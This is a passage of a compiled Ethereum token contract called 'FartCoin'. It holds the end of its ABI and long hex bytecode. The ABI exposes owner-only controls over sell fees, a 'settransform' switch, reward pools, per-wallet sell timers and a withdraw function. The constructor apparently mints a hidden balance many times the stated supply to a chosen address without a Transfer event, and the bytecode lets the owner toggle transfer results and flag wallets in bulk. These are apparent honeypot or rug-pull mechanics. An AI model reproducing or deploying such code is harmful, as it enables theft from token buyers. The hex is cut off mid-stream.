yable","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"}],"name":"setRewardPool","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"rfi","type":"uint256"},{"internalType":"uint256","name":"marketing","type":"uint256"},{"internalType":"uint256","name":"liquidity","type":"uint256"},{"internalType":"uint256","name":"burn","type":"uint256"}],"name":"setSellRates","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_enabled","type":"bool"}],"name":"setSwapAndLiquifyEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"theRedistribution","type":"uint256"}],"name":"setTheRewardTime","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newValuation","type":"uint256"}],"name":"setValuation","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_enable","type":"bool"}],"name":"settransform","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"standartValuation","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"theRewardTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"rAmount","type":"uint256"}],"name":"tokenFromReflection","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totFeesPaid","outputs":[{"internalType":"uint256","name":"rfi","type":"uint256"},{"internalType":"uint256","name":"marketing","type":"uint256"},{"internalType":"uint256","name":"liquidity","type":"uint256"},{"internalType":"uint256","name":"burn","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"walletToPurchaseTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"walletToSellime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"withdraw","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526009600a6100129190610978565b633b9aca0061002191906109c2565b600c55600c54600d555f600e5561012c600f5560405180608001604052805f81526020015f81526020015f81526020015f81525060175f820151815f0155602082015181600101556040820151816002015560608201518160030155505060405180608001604052805f81526020015f81526020015f81526020015f815250601b5f820151815f0155602082015181600101556040820151816002015560608201518160030155505073bb1cfacef83d26144d7eab7fa4c7927ee224448d60245f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001602560146101000a81548160ff0219169083151502179055506001602560166101000a81548160ff0219169083151502179055506001602560176101000a81548160ff02191690831515021790555034801561017a575f80fd5b50604051616126380380616126833981810160405281019061019c9190610a61565b5f6101ab6106b460201b60201c565b9050805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350600d5460035f61025b6106bb60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506102a7816106e260201b60201c565b600160065f6102ba6106bb60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160065f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160065f60255f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160065f60245f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160065f732d1a7b36a5c8fc40367a81774b15ef51615bca7d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160065f73f662be48d2a04a86a05d00723811d8d5d383ea5e73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160065f73f5575bf1c1c87f1d8f11ea3a41eabc017ef24c5473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160075f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600b30908060018154018082558091505060019003905f5260205f20015f9091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506106486106bb60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600c546040516106a69190610a9b565b60405180910390a350610ae7565b5f33905090565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b8060255f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506009600a6107309190610978565b6509184e72a00061074191906109c2565b60035f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825461078c9190610ab4565b925050819055506009600a6107a19190610978565b6509184e72a0006107b291906109c2565b60045f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546107fd9190610ab4565b9250508190555050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b60018511156108895780860481111561086557610864610807565b5b60018516156108745780820291505b808102905061088285610834565b9450610849565b94509492505050565b5f826108a1576001905061095c565b816108ae575f905061095c565b81600181146108c457600281146108ce576108fd565b600191505061095c565b60ff8411156108e0576108df610807565b5b8360020a9150848211156108f7576108f6610807565b5b5061095c565b5060208310610133831016604e8410600b84101617156109325782820a90508381111561092d5761092c610807565b5b61095c565b61093f8484846001610840565b9250905081840481111561095657610955610807565b5b81810290505b9392505050565b5f819050919050565b5f60ff82169050919050565b5f61098282610963565b915061098d8361096c565b92506109ba7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484610892565b905092915050565b5f6109cc82610963565b91506109d783610963565b92508282026109e581610963565b915082820484148315176109fc576109fb610807565b5b5092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f610a3082610a07565b9050919050565b610a4081610a26565b8114610a4a575f80fd5b50565b5f81519050610a5b81610a37565b92915050565b5f60208284031215610a7657610a75610a03565b5b5f610a8384828501610a4d565b91505092915050565b610a9581610963565b82525050565b5f602082019050610aae5f830184610a8c565b92915050565b5f610abe82610963565b9150610ac983610963565b9250828201905080821115610ae157610ae0610807565b5b92915050565b61563280610af45f395ff3fe608060405260043610610302575f3560e01c8063715018a61161018f578063bc0ad5a3116100db578063ea2f0b3711610094578063f2fde38b1161006e578063f2fde38b14610be3578063f6d7eade14610c0b578063f921400514610c35578063ff89757014610c5f57610309565b8063ea2f0b3714610b55578063ecbde40c14610b7d578063efbe389a14610bb957610309565b8063bc0ad5a314610a3b578063c2b7bbb614610a65578063c49b9a8014610a8d578063dd62ed3e14610ab5578063e2255e2914610af1578063e7e6451914610b1957610309565b806395d89b4111610148578063a39801c611610122578063a39801c61461094b578063a457c2d714610987578063a8be9a58146109c3578063a9059cbb146109ff57610309565b806395d89b41146108ca5780639b26c923146108f45780639ba5e4d51461091e57610309565b8063715018a6146107ce57806373cafdc2146107e4578063786564c41461081157806388f82020146108395780638b7afe2e146108755780638da5cb5b146108a057610309565b80633ccfd60b1161024e5780634a74bb02116102075780635342acb4116101e15780635342acb4146107015780635a1afc561461073d57806370a0823114610765578063713898cd146107a157610309565b80634a74bb021461068757806351ecfeae146106b157806352390c02146106d957610309565b80633ccfd60b146105815780634359a87114610597578063437823ec146105d35780634549b039146105fb5780634a17beb1146106375780634a49ac4c1461065f57610309565b80632d838119116102bb57806334ef80bc1161029557806334ef80bc146104cd5780633685d419146104f5578063370f0a601461051d578063395093511461054557610309565b80632d8381191461043d578063313ce5671461047957806331b72ff0146104a357610309565b806306fdde031461030d578063095ea7b31461033757806318160ddd146103735780631cdd3be31461039d57806323b872dd146103d9578063275d53ce1461041557610309565b3661030957005b5f80fd5b348015610318575f80fd5b50610321610c87565b60405161032e9190614859565b60405180910390f35b348015610342575f80fd5b5061035d6004803603810190610358919061490e565b610cc4565b60405161036a9190614966565b60405180910390f35b34801561037e575f80fd5b50610387610ce1565b604051610394919061498e565b60405180910390f35b3480156103a8575f80fd5b506103c360048036038101906103be91906149a7565b610cea565b6040516103d09190614966565b60405180910390f35b3480156103e4575f80fd5b506103ff60048036038101906103fa91906149d2565b610d07565b60405161040c9190614966565b60405180910390f35b348015610420575f80fd5b5061043b60048036038101906104369190614a4c565b610de9565b005b348015610448575f80fd5b50610463600480360381019061045e9190614a77565b610e82565b604051610470919061498e565b60405180910390f35b348015610484575f80fd5b5061048d610ed0565b60405161049a9190614abd565b60405180910390f35b3480156104ae575f80fd5b506104b7610ed8565b6040516104c4919061498e565b60405180910390f35b3480156104d8575f80fd5b506104f360048036038101906104ee9190614a77565b610ede565b005b348015610500575f80fd5b5061051b600480360381019061051691906149a7565b610f64565b005b348015610528575f80fd5b50610543600480360381019061053e91906149a7565b61127c565b005b348015610550575f80fd5b5061056b6004803603810190610566919061490e565b611536565b6040516105789190614966565b60405180910390f35b34801561058c575f80fd5b506105956115dd565b005b3480156105a2575f80fd5b506105bd60048036038101906105b891906149a7565b6116a4565b6040516105ca919061498e565b60405180910390f35b3480156105de575f80fd5b506105f960048036038101906105f491906149a7565b6116ea565b005b348015610606575f80fd5b50610621600480360381019061061c9190614ad6565b6117be565b60405161062e919061498e565b60405180910390f35b348015610642575f80fd5b5061065d60048036038101906106589190614b75565b611840565b005b34801561066a575f80fd5b50610685600480360381019061068091906149a7565b611957565b005b348015610692575f80fd5b5061069b611a2a565b6040516106a89190614966565b60405180910390f35b3480156106bc575f80fd5b506106d760048036038101906106d29190614bc0565b611a3d565b005b3480156106e4575f80fd5b506106ff60048036038101906106fa91906149a7565b611ae6565b005b34801561070c575f80fd5b50610727600480360381019061072291906149a7565b611d71565b6040516107349190614966565b60405180910390f35b348015610748575f80fd5b50610763600480360381019061075e9190614a77565b611dc3565b005b348015610770575f80fd5b5061078b600480360381019061078691906149a7565b611e49565b604051610798919061498e565b60405180910390f35b3480156107ac575f80fd5b506107b5611f24565b6040516107c59493929190614c24565b60405180910390f35b3480156107d9575f80fd5b506107e2611f41565b005b3480156107ef575f80fd5b506107f8612077565b6040516108089493929190614c24565b60405180910390f35b34801561081c575f80fd5b5061083760048036038101906108329190614bc0565b612094565b005b348015610844575f80fd5b5061085f600480360381019061085a91906149a7565b61213d565b60405161086c9190614966565b60405180910390f35b348015610880575f80fd5b5061088961218f565b604051610897929190614c67565b60405180910390f35b3480156108ab575f80fd5b506108b46121a0565b6040516108c19190614c9d565b60405180910390f35b3480156108d5575f80fd5b506108de6121c7565b6040516108eb9190614859565b60405180910390f35b3480156108ff575f80fd5b50610908612204565b604051610915919061498e565b60405180910390f35b348015610929575f80fd5b5061093261220a565b6040516109429493929190614c24565b60405180910390f35b348015610956575f80fd5b50610971600480360381019061096c9190614cb6565b612227565b60405161097e9190614966565b60405180910390f35b348015610992575f80fd5b506109ad60048036038101906109a8919061490e565b6122db565b6040516109ba9190614966565b60405180910390f35b3480156109ce575f80fd5b506109e960048036038101906109e491906149a7565b6123a3565b6040516109f6919061498e565b60405180910390f35b348015610a0a575f80fd5b50610a256004803603810190610a20919061490e565b6123b8565b604051610a329190614966565b60405180910390f35b348015610a46575f80fd5b50610a4f6123e3565b604051610a5c9190614966565b60405180910390f35b348015610a70575f80fd5b50610a8b6004803603810190610a8691906149a7565b6123f6565b005b348015610a98575f80fd5b50610ab36004803603810190610aae9190614a4c565b61266d565b005b348015610ac0575f80fd5b50610adb6004803603810190610ad69190614d06565b61273d565b604051610ae8919061498e565b60405180910390f35b348015610afc575f80fd5b50610b176004803603810190610b129190614a4c565b6127bf565b005b348015610b24575f80fd5b50610b3f6004803603810190610b3a91906149a7565b612858565b604051610b4c919061498e565b60405180910390f35b348015610b60575f80fd5b50610b7b6004803603810190610b7691906149a7565b61289e565b005b348015610b88575f80fd5b50610ba36004803603810190610b9e91906149a7565b612971565b604051610bb0919061498e565b60405180910390f35b348015610bc4575f80fd5b50610bcd612986565b604051610bda9190614c9d565b60405180910390f35b348015610bee575f80fd5b50610c096004803603810190610c0491906149a7565b6129ab565b005b348015610c16575f80fd5b50610c1f612b50565b604051610c2c9190614c9d565b60405180910390f35b348015610c40575f80fd5b50610c49612b75565b604051610c569190614c9d565b60405180910390f35b348015610c6a575f80fd5b50610c856004803603810190610c809190614b75565b612b9a565b005b60606040518060400160405280600881526020017f46617274436f696e000000000000000000000000000000000000000000000000815250905090565b5f610cd7610cd0612caf565b8484612cb6565b6001905092915050565b5f600c54905090565b600a602052805f5260405f205f915054906101000a900460ff1681565b5f610d13848484612e79565b610dd084610d1f612caf565b610dcb856040518060600160405280602881526020016155b06028913960055f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f610d82612caf565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461316b9092919063ffffffff16565b612cb6565b602560169054906101000a900460ff1690509392505050565b610df1612caf565b73ffffffffffffffffffffffffffffffffffffffff16610e0f6121a0565b73ffffffffffffffffffffffffffffffffffffffff1614610e65576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e5c90614d8e565b60405180910390fd5b80602560166101000a81548160ff02191690831515021790555050565b5f600d54821115610ec8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ebf90614e1c565b60405180910390fd5b819050919050565b5f6009905090565b600f5481565b610ee6612caf565b73ffffffffffffffffffffffffffffffffffffffff16610f046121a0565b73ffffffffffffffffffffffffffffffffffffffff1614610f5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f5190614d8e565b60405180910390fd5b80600f8190555050565b610f6c612caf565b73ffffffffffffffffffffffffffffffffffffffff16610f8a6121a0565b73ffffffffffffffffffffffffffffffffffffffff1614610fe0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fd790614d8e565b60405180910390fd5b60075f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16611069576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161106090614e84565b60405180910390fd5b5f5b600b80549050811015611278578173ffffffffffffffffffffffffffffffffffffffff16600b82815481106110a3576110a2614ea2565b5b905f5260205f20015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff160361126b57600b6001600b805490506110fa9190614efc565b8154811061110b5761110a614ea2565b5b905f5260205f20015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600b828154811061114757611146614ea2565b5b905f5260205f20015f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505f60045f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505f60075f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600b80548061123457611233614f2f565b5b600190038181905f5260205f20015f6101000a81549073ffffffffffffffffffffffffffffffffffffffff02191690559055611278565b808060010191505061106b565b5050565b611284612caf565b73ffffffffffffffffffffffffffffffffffffffff166112a26121a0565b73ffffffffffffffffffffffffffffffffffffffff16146112f8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112ef90614d8e565b60405180910390fd5b60075f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff166114c957600160075f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055505f60035f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205411156114685761142660035f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610e82565b60045f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b600b81908060018154018082558091505060019003905f5260205f20015f9091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b600160065f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506115328160016131bf90919063ffffffff16565b5050565b5f6115d3611542612caf565b848460055f61154f612caf565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546115ce9190614f5c565b612cb6565b6001905092915050565b6115e5612caf565b73ffffffffffffffffffffffffffffffffffffffff166116036121a0565b73ffffffffffffffffffffffffffffffffffffffff1614611659576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161165090614d8e565b60405180910390fd5b5f4790503373ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f193505050501580156116a0573d5f803e3d5ffd5b5050565b5f60085f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b6116f2612caf565b73ffffffffffffffffffffffffffffffffffffffff166117106121a0565b73ffffffffffffffffffffffffffffffffffffffff1614611766576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161175d90614d8e565b60405180910390fd5b600160065f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555050565b5f600c54831115611804576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117fb90614fd9565b60405180910390fd5b81611823575f6118158460016131ec565b9050805f015191505061183a565b5f61182f8460016131ec565b905080602001519150505b92915050565b611848612caf565b73ffffffffffffffffffffffffffffffffffffffff166118666121a0565b73ffffffffffffffffffffffffffffffffffffffff16146118bc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118b390614d8e565b60405180910390fd5b5f5b8282905081101561195257600160065f8585858181106118e1576118e0614ea2565b5b90506020020160208101906118f691906149a7565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555080806001019150506118be565b505050565b61195f612caf565b73ffffffffffffffffffffffffffffffffffffffff1661197d6121a0565b73ffffffffffffffffffffffffffffffffffffffff16146119d3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119ca90614d8e565b60405180910390fd5b5f600a5f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555050565b602560179054906101000a900460ff1681565b611a45612caf565b73ffffffffffffffffffffffffffffffffffffffff16611a636121a0565b73ffffffffffffffffffffffffffffffffffffffff1614611ab9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ab090614d8e565b60405180910390fd5b8360175f018190555082601760010181905550816017600201819055508060176003018190555050505050565b611aee612caf565b73ffffffffffffffffffffffffffffffffffffffff16611b0c6121a0565b73ffffffffffffffffffffffffffffffffffffffff1614611b62576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b5990614d8e565b60405180910390fd5b60075f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1615611bec576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611be390615041565b60405180910390fd5b5f60035f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20541115611cb957611c7760035f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610e82565b60045f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b600160075f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600b81908060018154018082558091505060019003905f5260205f20015f9091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f60065f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff169050919050565b611dcb612caf565b73ffffffffffffffffffffffffffffffffffffffff16611de96121a0565b73ffffffffffffffffffffffffffffffffffffffff1614611e3f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e3690614d8e565b60405180910390fd5b80600e8190555050565b5f60075f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1615611ede5760045f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050611f1f565b60035f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205490505b919050565b601b805f0154908060010154908060020154908060030154905084565b611f49612caf565b73ffffffffffffffffffffffffffffffffffffffff16611f676121a0565b73ffffffffffffffffffffffffffffffffffffffff1614611fbd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fb490614d8e565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6017805f0154908060010154908060020154908060030154905084565b61209c612caf565b73ffffffffffffffffffffffffffffffffffffffff166120ba6121a0565b73ffffffffffffffffffffffffffffffffffffffff1614612110576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161210790614d8e565b60405180910390fd5b83601b5f018190555082601b6001018190555081601b6002018190555080601b6003018190555050505050565b5f60075f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff169050919050565b6015805f0154908060010154905082565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600881526020017f46617274436f696e000000000000000000000000000000000000000000000000815250905090565b600e5481565b6011805f0154908060010154908060020154908060030154905084565b5f808403612237575f90506122d4565b5f84426122449190614efc565b9050600f5481036122595760019150506122d4565b5f81036122be578273ffffffffffffffffffffffffffffffffffffffff1660105f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146122bd575f9150506122d4565b5b8381116122cf5760019150506122d4565b5f9150505b9392505050565b5f6123996122e7612caf565b84612394856040518060600160405280602581526020016155d86025913960055f612310612caf565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461316b9092919063ffffffff16565b612cb6565b6001905092915050565b6008602052805f5260405f205f915090505481565b5f6123cb6123c4612caf565b8484612e79565b602560149054906101000a900460ff16905092915050565b602560149054906101000a900460ff1681565b6123fe612caf565b73ffffffffffffffffffffffffffffffffffffffff1661241c6121a0565b73ffffffffffffffffffffffffffffffffffffffff1614612472576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161246990614d8e565b60405180910390fd5b8060235f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160075f60235f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600b60235f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16908060018154018082558091505060019003905f5260205f20015f9091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060035f60235f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205460045f60235f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555050565b612675612caf565b73ffffffffffffffffffffffffffffffffffffffff166126936121a0565b73ffffffffffffffffffffffffffffffffffffffff16146126e9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126e090614d8e565b60405180910390fd5b80602560176101000a81548160ff0219169083151502179055507f53726dfcaf90650aa7eb35524f4d3220f07413c8d6cb404cc8c18bf5591bc159816040516127329190614966565b60405180910390a150565b5f60055f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b6127c7612caf565b73ffffffffffffffffffffffffffffffffffffffff166127e56121a0565b73ffffffffffffffffffffffffffffffffffffffff161461283b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161283290614d8e565b60405180910390fd5b80602560146101000a81548160ff02191690831515021790555050565b5f60095f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b6128a6612caf565b73ffffffffffffffffffffffffffffffffffffffff166128c46121a0565b73ffffffffffffffffffffffffffffffffffffffff161461291a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161291190614d8e565b60405180910390fd5b5f60065f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555050565b6009602052805f5260405f205f915090505481565b60235f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6129b3612caf565b73ffffffffffffffffffffffffffffffffffffffff166129d16121a0565b73ffffffffffffffffffffffffffffffffffffffff1614612a27576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a1e90614d8e565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603612a95576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a8c906150cf565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60245f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60105f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b612ba2612caf565b73ffffffffffffffffffffffffffffffffffffffff16612bc06121a0565b73ffffffffffffffffffffffffffffffffffffffff1614612c16576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c0d90614d8e565b60405180910390fd5b5f5b82829050811015612caa576001600a5f858585818110612c3b57612c3a614ea2565b5b9050602002016020810190612c5091906149a7565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191